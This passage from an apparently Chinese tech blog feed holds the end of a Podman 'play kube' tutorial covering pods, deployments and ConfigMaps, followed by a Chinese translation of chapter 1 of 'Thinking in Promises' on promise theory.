&lt;li&gt;Configmap&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;启动-pod&#34;&gt;启动 Pod&lt;/h3&gt;

&lt;p&gt;Ubuntu 下可以直接使用 &lt;code&gt;apt install podman&lt;/code&gt; 安装部署。安装结束后，可以复用刚才的 &lt;code&gt;pod.yaml&lt;/code&gt;：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ podman play kube pod.yaml
a container exists with the same name (&amp;quot;apache&amp;quot;) as the pod in your YAML file; changing pod name to apache_pod
Pod:
...
Container:
...

$ podman pod ls
POD ID        NAME        STATUS      CREATED        INFRA ID      # OF CONTAINERS
99e235dfe7a3  apache_pod  Running     9 seconds ago  b54991e35f58  2

$ podman ps
CONTAINER ID  IMAGE                           COMMAND           CREATED         STATUS             PORTS                  NAMES
b54991e35f58  k8s.gcr.io/pause:3.5                              41 seconds ago  Up 38 seconds ago  0.0.0.0:45678-&amp;gt;80/tcp  99e235dfe7a3-infra
aa4a4ba1af39  docker.io/library/httpd:latest  httpd-foreground  38 seconds ago  Up 38 seconds ago  0.0.0.0:45678-&amp;gt;80/tcp  apache_pod-apache
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;看到这里有几个发现：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;用 &lt;code&gt;podman pod ls&lt;/code&gt; 和 &lt;code&gt;podman ps&lt;/code&gt; 可以查看 Pod 和容器的情况&lt;/li&gt;
&lt;li&gt;Podman 取了个巧，使用命名的方式来区分容器和 Pod&lt;/li&gt;
&lt;li&gt;Podman 启动的 Pod 用到了 Infra 容器，所以一个 Pod 里面会有两个容器。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;为了让后续动作顺利，可以把容器名称修改为 &lt;code&gt;httpd&lt;/code&gt;，用于消除这种隐式变更。在应用新版本 YAML 之前，需要因为发生了改名情况，所以无法使用 &lt;code&gt;podman play kube pod.yaml --down&lt;/code&gt; 的方式停止 Pod，这里用 &lt;code&gt;podman pod kill apache_pod &amp;amp;&amp;amp; podman pod rm apache_pod&lt;/code&gt; 删除 Pod，然后重新创建修改后的 Pod：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$podman play kube pod.yaml
Pod:
...
Container:
...
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;甚至可以启动一个 Deployment，例如：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-yaml&#34;&gt;apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: nginx
  name: nginx
spec:
  replicas: 3
  selector:
    matchLabels:
      app: nginx
  template:
    metadata:
      labels:
        app: nginx
    spec:
      containers:
      - image: nginx
        name: nginx
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;用 &lt;code&gt;play kube&lt;/code&gt; 运行一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ podman play kube deploy.yaml
...
podman pod ls
POD ID        NAME         STATUS      CREATED         INFRA ID      # OF CONTAINERS
0a6e4dcda93c  nginx-pod-2  Running     15 seconds ago  319f12f3b6f2  2
266df25c4df1  nginx-pod-1  Running     19 seconds ago  a65f6b601160  2
e6966f42c5fd  nginx-pod-0  Running     22 seconds ago  953e3e830528  2
573597e627ec  apache       Running     9 minutes ago   3b4ff4625b46  2
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到，这里生成了 3 个 &lt;code&gt;nginx-pod&lt;/code&gt; 为前缀的 Pod。&lt;/p&gt;

&lt;h3 id=&#34;configmap&#34;&gt;Configmap&lt;/h3&gt;

&lt;p&gt;修改一下刚才的 &lt;code&gt;pod.yaml&lt;/code&gt;，其中加入 Configmap：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;apiVersion: v1
kind: ConfigMap
metadata:
  name: cm-sample
data:
  key1: value1
---
apiVersion: v1
kind: Pod
metadata:
  name: apache
spec:
  containers:
  - name: httpd
    image: httpd
    ports:
    - name: http
      containerPort: 80
      hostPort: 45678
    envFrom:
    - configMapRef:
        name: cm-sample
        optional: false
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这里加入了一个引用 Configmap 作为环境变量的选项，使用 &lt;code&gt;--down&lt;/code&gt; 开关停止当前 Pod 并重建后（&lt;code&gt;4.x&lt;/code&gt; 版本有了 &lt;code&gt;--replace&lt;/code&gt; 开关），验证一下：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-command&#34;&gt;$ podman exec -it [your container id] env | grep key
key1=value1
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;可以看到已经成功引用了 Configmap。&lt;/p&gt;

&lt;h2 id=&#34;结论&#34;&gt;结论&lt;/h2&gt;

&lt;p&gt;除了简单的运行功能之外，Podman Play 还提供了网络、命名空间等功能，甚至还有现场构建的能力，比孤零零的 &lt;code&gt;kubelet&lt;/code&gt; 强大不少，但是如果 Kubelet 加入 crictl、nerdctl 之类的东西的话，勉强也算各擅胜场。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Thinking in Promises Ch01.with a License to Intend</title>
      <link>/post/thinking-in-promises-ch01.with-a-license-to-intend/</link>
      <pubDate>Sat, 13 Jan 2024 23:36:30 +0800</pubDate>
      <guid>/post/thinking-in-promises-ch01.with-a-license-to-intend/</guid>
      <description></description>
    </item>
    
    <item>
      <title>【译】《Thinking in Promises》第一章 承诺和强加</title>
      <link>/post/thinking-in-promises-ch01.promises.and.mpositions/</link>
      <pubDate>Thu, 11 Jan 2024 01:05:19 +0800</pubDate>
      <guid>/post/thinking-in-promises-ch01.promises.and.mpositions/</guid>
      <description>

&lt;p&gt;想象有这样一组原则，这些原则可以帮助你理解部分如何结合成为整体，以及每个部分如何从自己的角度看待整体。如果这些原则是有效的，那么用这些原则进行观察，会发现团队中的人类、鸟群中的鸟儿、数据中心中的计算机还是瑞士手表中的齿轮都是可以应用这一原则的。合作理论应该是相当普遍适用的，因此我们可以将其应用于技术和工作场所。&lt;/p&gt;

&lt;p&gt;这些原则是承诺理论的主题。承诺理论不是从整体出发的，其目标是从部分之和中揭示整体的行为。换句话说，它是一种自下而上的建构主义世界观。你可以将其描述为一种自底向上记录系统行为的学科。&lt;/p&gt;

&lt;h2 id=&#34;承诺工程&#34;&gt;承诺工程&lt;/h2&gt;

&lt;p&gt;2004年，我正在寻找一种用来描述CFEngine的分布式计算模型，承诺模型的工程概念在此时产生了。当时“承诺”这个词正式我所需要的：一种用来表达意图的院子。然而这个想法打开了潘多拉魔盒，我发现承诺可以用于更普遍的实物之中。组件如何作为一个整体运行的？承诺理论是理解这一问题的有效方式，并且它还承诺了一种从前没有被认真对待的思路：用单一描述来统一人类和机器行为。&lt;/p&gt;

&lt;p&gt;与商业和计算机科学等其他建模方法不同，承诺理论并非一份宣言，也不是政治声明或哲学议程。一套简单原则的应用，构成了承诺理论的魔力。它只不过是一种将系统分解为基本组成部分，并重新组合的分析和工程方法。在这个过程中，我们找到了一种表示和质疑预期结果可行性的方法。对于某些人来说，疑点就在于计算机编程的知识，围绕计算机编程已经有了许多哲学思想，如OO、SOA、UML等等。这其中，有些把哲学置于理解之上的方法已经都失败了。&lt;/p&gt;

&lt;p&gt;本书的目的是探讨在人机系统、组织和技术中，通过对承诺的理解，可以获知合作的方法，以及如何将这种理解应用于协同工作面临的现实挑战。&lt;/p&gt;

&lt;h2 id=&#34;从命令到承诺&#34;&gt;从命令到承诺&lt;/h2&gt;

&lt;p&gt;至少在西方的文化中，会将预期结果编写为分步执行的命令来执行的。然后，我们将这种思路编程为方法，用里程碑和可交付成果的方式来强调我们的思路。这种思路的产生原因是，我们用故事的方式来思考，就像我们通过语言讲述故事一样。但是故事是很难被评估的。我们如何知道一个故事是否成功地表达了其意图？&lt;/p&gt;

&lt;p&gt;在另一方面，我们是不是转换一下思路，我们不再关心中间步骤，而只去考虑目标、预期结果、评估方式和成功呢？&lt;/p&gt;

&lt;p&gt;举个例子——用如下指令来清理洗手间：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;洗地板、拖地&lt;/li&gt;
&lt;li&gt;清洗马桶&lt;/li&gt;
&lt;li&gt;把纸巾放到纸巾盒&lt;/li&gt;
&lt;li&gt;补充皂液&lt;/li&gt;
&lt;li&gt;每小时准时执行上述操作&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;如果我们把该任务转换成为承诺模式：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;我承诺，每小时检查时，地板都是清洁和干燥的&lt;/li&gt;
&lt;li&gt;我承诺，每小时检查时，马桶都是空的和干净的&lt;/li&gt;
&lt;li&gt;我承诺，每小时检查时，纸巾盒里都有干净的纸巾&lt;/li&gt;
&lt;li&gt;我承诺，每小时检查时，肥皂盒里都有充足的皂液&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;重点在哪里？这有什么意义呢？难道这世界不是由用力来推动变化的吗？这是牛顿时代以来一直被广泛接受的学说，但这种看法是一种过度简化，甚至在现代物理学中也不准确。&lt;/p&gt;

&lt;p&gt;我们首先要注意的事情就是，必须有代理人（人或者机器人）做出承诺，这样我们就知道谁是活动代理；做出承诺后，代理就负担了承诺所代表的责任。接下来我们会发现，做出承诺是需要动力的。合作通常要包含对话和激励。这些承诺缺少的是一个需求，比如：如果马桶洗干净了，我保证付款给你。因此从承诺的角度来看，就需要解答一个问题：我们如何描述激励措施？&lt;/p&gt;

&lt;h2 id=&#34;为什么承诺优于命令&#34;&gt;为什么承诺优于命令&lt;/h2&gt;

&lt;p&gt;为什么是承诺，而不是义务、命令或者需求？在承诺理论中，后面的几个词被认为是强制措施——在没有邀请的情况下把意图强加给别人。&lt;/p&gt;

&lt;p&gt;相对于强制措施来说，承诺始终关注因果关系的要点：即作出承诺并负责履行的代理人。承诺会更直接地揭示与预期结果相关的信息&lt;/p&gt;

&lt;p&gt;命令或者其他的强制措施有两个问题：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;对行为做出要求，而不是直接提出我们的需要（重过程而轻结果）&lt;/li&gt;
&lt;li&gt;甚至在不了解目标的情况下，就要按部就班地执行全套命令&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;所以为什么承诺比命令好？承诺表达的关于终点或最终结果的意图，而不是指示起点时应该做什么。命令是和发出命令时的的具体状况相关联的，所以命令是受限于上下文的。而对于最终状态的承诺则是独立于当前状态的：&lt;/p&gt;

&lt;p&gt;![[images/20231226-1.png]]
图 1-1：在本书中，我们将多次讨论时间线的收敛或扩散。在左边，命令从确定的起点扩散到不可预测的结果，我们从一种确定状态转变为一种不确定状态。而在右边，承诺从不可预测的开始趋于一个确定的结果，带来了更高的确定性。&lt;/p&gt;

&lt;p&gt;承诺是从最大化确定性的视角来阐述预期的。承诺适用于作出承诺的代理人。根据自治的定义，每个代理人都有权控制自己。强加或命令是适用于他人（非自己）的事物。根据定义，那就是您无法控制的内容。&lt;/p&gt;

&lt;p&gt;承诺有时候是可以关联到出发点的：“我承诺现在就倒立”，“我承诺会在早上9点离开房间”。承诺代表持续存在的状态，而命令则不行。&lt;/p&gt;

&lt;h2 id=&#34;自治带来的确定性&#34;&gt;自治带来的确定性&lt;/h2&gt;

&lt;p&gt;承诺是对预期结果的一个声明。承诺不关注动作，也不试图强迫。承诺是一种自愿的行为。随着内容的推进，我还会使用“自愿”一词，让意义将变得更加清晰，还有个同义词就是自治。&lt;/p&gt;

&lt;p&gt;如果一个代理人能控制自己的目标，那么他就是自主的（后果是由自己的行为导致的，而不是其他人）。这是一个独立的代理人。把世界分拆为自主的部分，我们就可以在因果上取得先机。当发生变更时，我们会知道他在一个自主区域里发生；在没有对外部做出明确承诺的情况下，就不会自外向内的产生变化。&lt;/p&gt;

&lt;p&gt;注意，一个行为，只要看起来是有意的，或者是有可能有意为之即可被视为有意行为，不一定需要显式地声明意图。&lt;/p&gt;

&lt;h2 id=&#34;永远正确的观察者&#34;&gt;永远正确的观察者&lt;/h2&gt;

&lt;p&gt;当我们做出承诺时，需要和某角色进行通信，让它能对预期结果进行校验。通常一个承诺意味着一个尚未发生的结果（比如说“我承诺准时把你送到教堂参加婚礼”）。我们还能对已经发生但是尚未验证的事情进行承诺（例如会计部门说：“我承诺已经按时付款了”）；结局已经发生了，但是承诺还没有被验证。&lt;/p&gt;

&lt;p&gt;验证为何如此重要？实际上，每个可能的观察者都应该是知晓相关信息，能够对承诺是否得到实现进行独立的判断的。承诺人可能是受承诺影响最大的人，但是不会是唯一一个能够发声的人。&lt;/p&gt;

&lt;p&gt;例如，Alice承诺要付钱给Bob。如果Alice在Bob不在场的情况下进行转账，Bob必须要检查账号才能确定承诺是否达成。然而Carol作为旁观者，听到了这一承诺，Alice转账时她刚好在场。因此她可以验证承诺是否完成。Bob和Carol所接触到的信息是不同的，因此他们有不同的校验承诺后果的方法。&lt;/p&gt;

&lt;p&gt;这样每个自治的代理人都有自己的独立视角，意味着代理人都有自己的独立的预期。因此代理人无需校验后果即可做出判断。这是将承诺与信任结合使用的方式。每一个可能的观察者，都能访问到部分信息，能够独立的做出判断，在不同的环境下，可能的处不同的结论。&lt;/p&gt;

&lt;p&gt;这是很像一个商业上的陈词滥调——“顾客永远是对的”。每个观察者都有权利拥有自己的观点。承诺的一个有益的副产品，就是记录代理人做出决策时所处的条件，以备后续使用。&lt;/p&gt;

&lt;h2 id=&#34;文化和心理学&#34;&gt;文化和心理学&lt;/h2&gt;

&lt;p&gt;承诺理论的优势，在文化或心理方面都是可以证实的。在洗手间示例的命令版本中，可以写一个算法来实现所需的最终状态。您的算法可能涉及一份清单，比如擦洗马桶、使用特殊清洁剂等等。写下这些步骤给人以教育意义，因为它告诉你如何做。这对于教导别人如何在未来遵守承诺可能是有益的，但它并没有明确说明最终结果应该是什么样子，或者是否存在多种实现目标的方式。因此，在没有承诺的情况下无法评估算法。通过承诺，我们可以明确所期望达到的最终状态，并讨论实现它的其他方法。”&lt;/p&gt;

&lt;p&gt;“How”是设计师的任务。那么关于运行和维护过程如何保证承诺在各种困难环境上都能达成呢？在信息技术领域，设计被翻译为“开发”，而维护则被翻译为“运维”，二者通常被称为DevOps。&lt;/p&gt;

&lt;p&gt;想象一本菜谱，通常来说，每一页刚开头都是一个关于预期结果的承诺（一张诱人的成品照），接下来就是一个建议的配方。菜谱里通常不会直接抛给你一个配方，强迫你信任配方，一步一步操作最终得到结果，菜谱中首先给你的，正是一个预期。而在编程和管理方面，通常都不是这样做事的。&lt;/p&gt;

&lt;p&gt;承诺与服务的概念是自然契合的。任何在服务或支持角色中工作过的人都会知道，你所做的事情并不是理解的最佳指南：“别告诉我你在做什么，告诉我你想要实现什么！” 你实际上正在做的事情可能与你想要实现的目标毫无关系。&lt;/p&gt;

&lt;p&gt;一个简单的意图表达就是所谓的承诺提议。当你真心实意地说出来时，它就变成了一种承诺。&lt;/p&gt;

&lt;h2 id=&#34;义务的局限性&#34;&gt;义务的局限性&lt;/h2&gt;

&lt;p&gt;强制性活动，尤其是“义务”，存在一个重大问题，那就是它们并不能减少我们对情况的不确定性。实际上，它们可能会增加不确定性。由于义务涉及到我们在某个领域中肯定拥有不完整信息的世界，所以很快就会导致冲突。&lt;/p&gt;

&lt;p&gt;想象一对父母和一个孩子。妈妈和爸爸以以下方式将他们的语言模式强加给他们无辜的后代。美国妈妈告诉孩子：“你说tomaetoe”，而英国爸爸则说：“我说tomahtoe”。除非他们真正承诺沟通并达成共识，否则妈妈和爸爸可能甚至没有意识到自己在告诉孩子不同的事情。因此存在利益冲突。&lt;/p&gt;

&lt;p&gt;但是这情况的糟糕程度不止于此。因为意图的源头是孩子无法控制的，所以她对这个冲突完全无能为力；问题源自在于她无法控制的领域之外：在爸爸妈妈身上。义务实际上增加了这个孩子眼中的不确定性。&lt;/p&gt;

&lt;p&gt;解决之道在于让所有的的代理人具备自治能力。孩子和父母都无需听从命令或者履行义务。他们有拒绝的自由，并选择其它方式做出自己的决定。实际上，一旦从这种视角出发，孩子就需要对父母承诺她试图说出的话。实际上，她现在掌握着信息和控制权，可以承诺对妈妈说一件事情，对爸爸说另一件事情而毫无冲突。&lt;/p&gt;

&lt;h2 id=&#34;这是伪科学&#34;&gt;这是伪科学？&lt;/h2&gt;

&lt;p&gt;承诺或者意图是充满人类因素的东西，这种东西和客观可衡量的现实世界里的结果结合在一起，会让科学家（除了某些社会科学家）和工程师们感觉很不舒服。我们受到的教育要求我们在自然科学中消除人为因素的参照，以保持客观。这种情况的部分原因是我们忘记了让我们走到今天的科学哲学，所以我们相信自然科学在某种意义上是“客观”的&lt;/p&gt;

&lt;p&gt;科学家（除了某些社会科学家可能例外）和工程师对将像承诺或意图这样的人类因素与似乎客观可衡量的现实世界结果混合在一起的想法感到不舒服。我们被教导要在自然科学中消除所有关于人性的参照，以使其尽可能客观。部分原因是我们已经忘记了让我们走到今天这一步的科学哲学，所以现在我们相信自然科学在某种意义上是“客观”的（不仅仅是中立）。&lt;/p&gt;

&lt;p&gt;在我另一本书（《Search of Certainty》）中。描述了在自然科学领域中，科学是如何被最难的问题强迫面对观察者相对性问题（或者换个说法叫主观问题）的，这是一个意外的转折。作为一名物理学家，我花了好一段时间才接受了这一事实——人类问题的确需要体现在技术研究过程中。这一过程甚至无需触及情感、或者针对特权阶级的道德谴责等问题。&lt;/p&gt;

&lt;p&gt;承诺必命令或义务更基础，这并不难理解。他可以类比到简单的物理学：承诺是局部的，而义务是分布的（非局部的）。&lt;/p&gt;

&lt;p&gt;承诺理论的目标是将变化（动态）和意图（语义）结合起来，形成一种简单的工程方法论，以认识到在处理不完整信息时存在的限制。谁有权访问哪些信息？&lt;/p&gt;

&lt;p&gt;在我们描述某些行为时，我们对它在时间和空间上的持续性有什么期望？这是爆炸一样的一次性的变化，还是和平条约一样的持续平衡呢？&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;语义和动态&lt;/strong&gt;
动态是可以测量的系统方面，比如大小、速度、频率等。系统的动态可以客观地用数字（“数据”）来描述，并且这些数字独立于解释存在。在科学中，也使用了力学和运动学这些词汇，但对广大受众来说它们不太熟悉。
语义是关于我们如何解释某个事物：它意味着什么，它有什么功能，我们给予它什么样的重要性？语义是主观的（即取决于观察者）；因此根据相同的动态数据评估一项承诺是否履行，不同的人可能得出不同的结果。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;承诺理论真的是理论么&#34;&gt;承诺理论真的是理论么&lt;/h2&gt;

&lt;p&gt;像任何科学方法一样，承诺理论并不是针对特定问题的解决方案；它是一种描述和讨论不同代理人或行为者之间合作行为的信息语言。如果您在其假设和习语框架内操作，它将帮助您构建假设并找到涉及分布式信息的问题的可能的解决方案。&lt;/p&gt;

&lt;p&gt;承诺理论是一种对协作系统进行建模的方法，它帮助我们评估系统的可靠性和效率。要准确评估，参与协作的代理人必须能够承诺满足一些基本条件，以确保系统的有效运作。&lt;/p&gt;

&lt;p&gt;承诺理论也是一种原子理论。它鼓励我们将问题分解成一个元素表（基本承诺），一旦关于自身的意图被公开，它就变成了一个承诺，意图之间的组合就像化学反应一样，可能产生各种实质性的结果。SOA定义了具有接口（API），并且由文档完善的的自治服务（代理人）组成，因此是以Web服务和API为基础的承诺模型的一个例子。&lt;/p&gt;

&lt;p&gt;承诺理论背后的原则存在是为了遵从普遍性，并尽可能少地做出预测。承诺理论还容许每个参与者持有不完整的世界观（即存在不同观点），从而在所见所闻方面产生局限性。&lt;/p&gt;

&lt;p&gt;和其他的科学模型相比，承诺理论的不同之处在于，他用客观的方式对意图进行建模，而不会去管这意图直接来自人类还是某种技术。将承诺理论与博弈论模型相结合，我们还可以看到如何用经济型来解释合作（有时被称为有限理性）。我为什么应该遵守我的承诺？我会得到什么好处呢？&lt;/p&gt;

&lt;h2 id=&#34;主要概念&#34;&gt;主要概念&lt;/h2&gt;

&lt;p&gt;我们会时常引用几个关键概念：&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;意图（Intention）&lt;/strong&gt;：这是某种可能结果的主体。它可以被解释为在特定背景下具有重要意义的事物。任何代理人（人、物体或机器）都可以怀有意图。一个意图可能是灯光“变红”，或者是运动员“赢得比赛”的目标。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;承诺（Promise）&lt;/strong&gt;：当一个意图（范围）宣布时，它就变成了承诺。因此，承诺是一种明确的意图。在本书中，我只会谈论所谓的第一类承诺，也就是关于自己的承诺。换句话说，我们制定了一个规则：任何代理人都不能代表他人作出承诺（见图1-2）。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;![[images/20231228.png]]
图 1-2 承诺堪比丘比特之箭&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;强加&lt;/strong&gt;：这是一种试图引导另一个代理合作的尝试（即植入意图）。它是对承诺概念的补充。强加程度包括暗示、建议、请求、命令等。
![[images/20240105.png]]
图 1-3 强加像是一种攻击&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;义务&lt;/strong&gt;：一种暗示：如果不遵守将会产生成本或惩罚的强制措施。它比简单的强制措施更具侵略性。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;评估&lt;/strong&gt;：对于一个承诺是否得到了履行的判断。每个代理人都会对其所知的承诺进行评估。通常，评估涉及观察其他代理人的行为。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;&lt;strong&gt;其他&lt;/strong&gt;：还有一些其它层次的代理人之间的互动。例如，可以强迫代理遵从要求，这可能被定义为一种攻击；然而，我们不会进一步讨论这个问题，从而避免引发道德争论。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;承诺比强制更常见，因此成为主要关注的重点。强制通常在现有承诺的体系中起作用。此外，承诺通常可以被提出来以等效的自愿行为取代强制。&lt;/p&gt;

&lt;p&gt;相对于强制来说，承诺是更为常见的情况，因此我们会主要关注承诺方面的问题。当然，在承诺系统中，强加的方式也是能够奏效的，不过可以用等效的自愿承诺，来取代强加方式。&lt;/p&gt;

&lt;h2 id=&#34;你要多少确定性&#34;&gt;你要多少确定性&lt;/h2&gt;

&lt;p&gt;承诺理论还是处在一个研究阶段，所以我们不应期待用这一理论解答一切问题。另外它也综合了图论、相对论等其它理论中的思想，所以它也不是一个全新的理论。这一理论从一组最小的假设出发，然后从总体角度的各个视角来描述独立承诺的联合效果，构建一张协作网络。如果你想更加深入的理解它，我鼓励你用正式的、数学的语言来研究它。&lt;/p&gt;

&lt;p&gt;承诺是个常用词，很容易让人产生各种联想。在承诺理论中，它有着特定而明确的含义。其他人也将这个词用于技术用途：并发编程中讨论了未来和承诺。这同样是给普通词汇赋予了专门的含义。我们需要小心，不要将太多自己的想象投射到这些特定的含义中。&lt;/p&gt;

&lt;p&gt;在阅读本书的过程中，你会发现承诺理论提出了很多似乎显而易见的观点。这是一件好事。毕竟，一个不能预测明显事物的理论不会是一个很好的理论。然后，还会有其他结论用不熟悉的方式延展你的思维；可能会让你透过文化偏见，更清晰地看到事物。你还可能觉得这个理论缺乏惊人启示，失望透顶；或者你可能会对之前从未意识到的事物感到惊讶。这一切取决于你的思考的起点。无论你的经验如何，我希望这本书能为你提供一些关于合作系统的构建和设计的见解。&lt;/p&gt;

&lt;h2 id=&#34;快速用户指南&#34;&gt;快速用户指南&lt;/h2&gt;

&lt;p&gt;在深入细节之前，首先简要概述一下如何开始以承诺的方式思考。这里归结了几条经验法则：&lt;/p&gt;

&lt;h3 id=&#34;识别关键参与者-意图代理人&#34;&gt;识别关键参与者（意图代理人）&lt;/h3&gt;

&lt;p&gt;建模的第一步，是在您所解决的问题范围内，识别扮演角色的代理人。系统的任何部分都可能是代理人，代理人可以独立地直接或者间接的对某事发起意图或承诺。代理人可能是人，也可能是计算机、政策文件等等，无论其原始来源如何，只要能发起意图的任何东西都可以是代理人。&lt;/p&gt;

&lt;p&gt;为了正确进行建模的这一步骤，我们需要小心不要把意图与行动或消息混淆起来。行动未必是实现意图所必需的。无动作可能也是必要的。&lt;/p&gt;

&lt;p&gt;此外，简单的工具也可以发起承诺。简单如钟表零件，甚至是一个 HTTP 的请求，都可能作为代理人的身份出现。在更大的视野中，最终阶段发挥作用的并不一定是人。&lt;/p&gt;

&lt;p&gt;要想独立，一个代理只需要有不同的思考方式或者不同的视角，能够接触到不同的信息等等。这关乎关注点的分离。如果我们希望能够以不同方式推理的代理共同工作，它们就需要承诺以互惠互利的方式行事。这些代理可以是人类（如在商业-IT桥梁中的情况），也可以是计算机（如在多层服务器队列中的情况）。&lt;/p&gt;

&lt;p&gt;可以用不同的思考方式、不同的视角或者能够接触到的不同信息，将代理人独立出来。这是符合关注点分离原则的做法。各种不同的代理人要协同工作，就需要做出互惠互利的承诺。代理人可以是人类，也可以是计算机。&lt;/p&gt;

&lt;h3 id=&#34;处理不确定性和障碍&#34;&gt;处理不确定性和障碍&lt;/h3&gt;

&lt;p&gt;代理能够履行承诺的可能性有多大？真实世界是没有绝对的确定性的，所以忘记这个不切实际的想法吧！科学正是用来应对不确定性的，所以只管卷起袖子，依据现有条件来设计你的承诺，使其达到最佳效果。这方面是有些技巧可以使用的。&lt;/p&gt;

&lt;p&gt;关键在于，可能存在种种原因让承诺无法履行。承诺只是意图，而非不可抗力。&lt;/p&gt;

&lt;p&gt;机器和人都可能出故障，无法履行承诺，因此我们需要对此进行建模。基于我们对每个承诺的未来行为的信任或信念，每个承诺都存在一定的可能性（甚至可能是正式的概率）。&lt;/p&gt;

&lt;p&gt;然而，代理人只对自己的行为作出承诺。如果我们试图代表他人做出承诺，就很可能遭到拒绝而无法实施——甚至另一个代理根本对这一企图一无所知。因此，合理的模型是拉取或者使用其它代理的承诺，而不应该把承诺推动或强加于其它代理。它假设代理只有在他们愿意的情况下才会遵从于外部强制（也就是说武力无法推动控制）。这意味着我们面对的现实情况里，不存在军事指挥结构这样的东西。应该认为代理人实际上存在产生共识、自愿遵从命令的情况——但是这种机制是有失败几率的。&lt;/p&gt;

&lt;h3 id=&#34;从要求到承诺-从自上而下到自下而上&#34;&gt;从要求到承诺（从自上而下到自下而上）&lt;/h3&gt;

&lt;p&gt;承诺理论关注主动代理的两个原因：首先，因为这些代理最了解自己履行承诺的能力。其次，因为主动代理是可以轻易加入到任何更大的合作行为中的基本构建块。 要求是自上而下地被强加的。承诺则是自下而上地被遵守的。&lt;/p&gt;

&lt;p&gt;这和原子理论有些相似——没有人能在元素周期表中强行创造一个新元素。假设设计飞机的过程中，需要一种强度是钢的两倍、但重量只有铝的一半的金属元素——在物理定律的妨碍下，恐怕你只能写信给圣诞老人求助了。我们可以当然可以梦想那些根本不可能的事物，但如果我们放弃不切实际的梦想，而真正去了解世界所做出的承诺，并尝试在此基础上进行构建，我们就会取得真正的进步。 从基本元素的承诺出发，我们可以通过理解不同类型原子及其不同属性（即承诺的行为方式）的结合，构建出具有新材料属性的元素组合。&lt;/p&gt;

&lt;p&gt;这是一种自下而上的策略。从上到下的视角不是分布式的。因为缺乏对信息定位的清晰思考，你可能会做出无权做出的假设；例如，你可能会想要代表你无法控制的代理出承诺。&lt;/p&gt;

&lt;p&gt;自下而上的方式下，因为你需要提出明确的承诺来应对每种假设，所以你必须知道事情的具体运转。这样一来，承诺方法强制性地引入了一种纪律。&lt;/p&gt;

&lt;p&gt;这不就是讨论种笨拙的讨论需求的方式吗？其实并非如此。这恰恰相反。需求是从高层次的泛化出发，对更专业的执行层面提出义务。在要求者和被要求者之间，存在显而易见的的信息差。关于可能结果的重要信息处于这个差距的错误一端。从承诺的角度出发，就被迫只能从执行的角度思考，并将自己置于履行承诺的角色中，面对所有出现的问题。从这个视角出发，就很难做出做出无端的假设。&lt;/p&gt;

&lt;p&gt;用承诺的方式思考，应急计划就是个顺理成章的事情——如果你的第一个假设失败了怎么办？&lt;/p&gt;

&lt;p&gt;承诺的立场是一个极端的立场，你可能会基于某些传统观念而反对它。正因为它是一个极端的立场，它才有用。如果做出了任何假设，都可以用承诺的方式进行承诺，并用承诺的形式来应对外部影响以及任何合规要。但是一旦我们打开了怀疑的大门，就无法回头。所以承诺理论是建立具有预测能力理论的唯一的合理选择。&lt;/p&gt;

&lt;p&gt;承诺理论的目标是确保各个代理通过做出所有必要的承诺来协作并取得成功。假设有一个拥有所有信息的神奇旁观者，那么在他眼里，整个合作行动可以被视为一个单一有机体做出的单一承诺。怎样才能促使这些主体做出承诺，取决于它们是什么类型的主体。经济激励能让人类做出承诺；而可编程的主题，那么它们需要被编程来履行这些承诺。我们称这种行为是自愿合作。对于人类来说，经济因素包括社会、专业和经济方面。&lt;/p&gt;

&lt;p&gt;这听起来疯狂吗？为什么不像机械钟那样强迫每个人遵守规则呢？因为这毫无意义。即使是计算机，也只是因为它被自愿构建为遵循指令而遵循指令。如果我们无法通过拔掉其输入线的方式来改变这个承诺。人类也不能被外部代理强制实施——除非通过攻击手段让代理失去独立性。&lt;/p&gt;

&lt;h3 id=&#34;处理意图冲突&#34;&gt;处理意图冲突&lt;/h3&gt;

&lt;p&gt;如果所有代理拥有相同的意图，那么就不太需要承诺。每个人都会和谐相处，为共同的目标而努力。然而，一个系统的初始状态拥有未知的意图和分散的信息，这意味着我们需要建立像协议这样的东西，在其中代理承诺以特定方式行事。这就是我们所说的协调。&lt;/p&gt;

&lt;p&gt;但如果不同地点的承诺无意中影响到第三方会怎样呢？这种情况经常发生——在义务理论（要求、法律和分布式许可模型）中，冲突的可能性非常高。承诺理论在解决冲突方面相当有效，因为一个代理只能与自己发生冲突，因此解决冲突的所有信息都位于同一个地方。&lt;/p&gt;

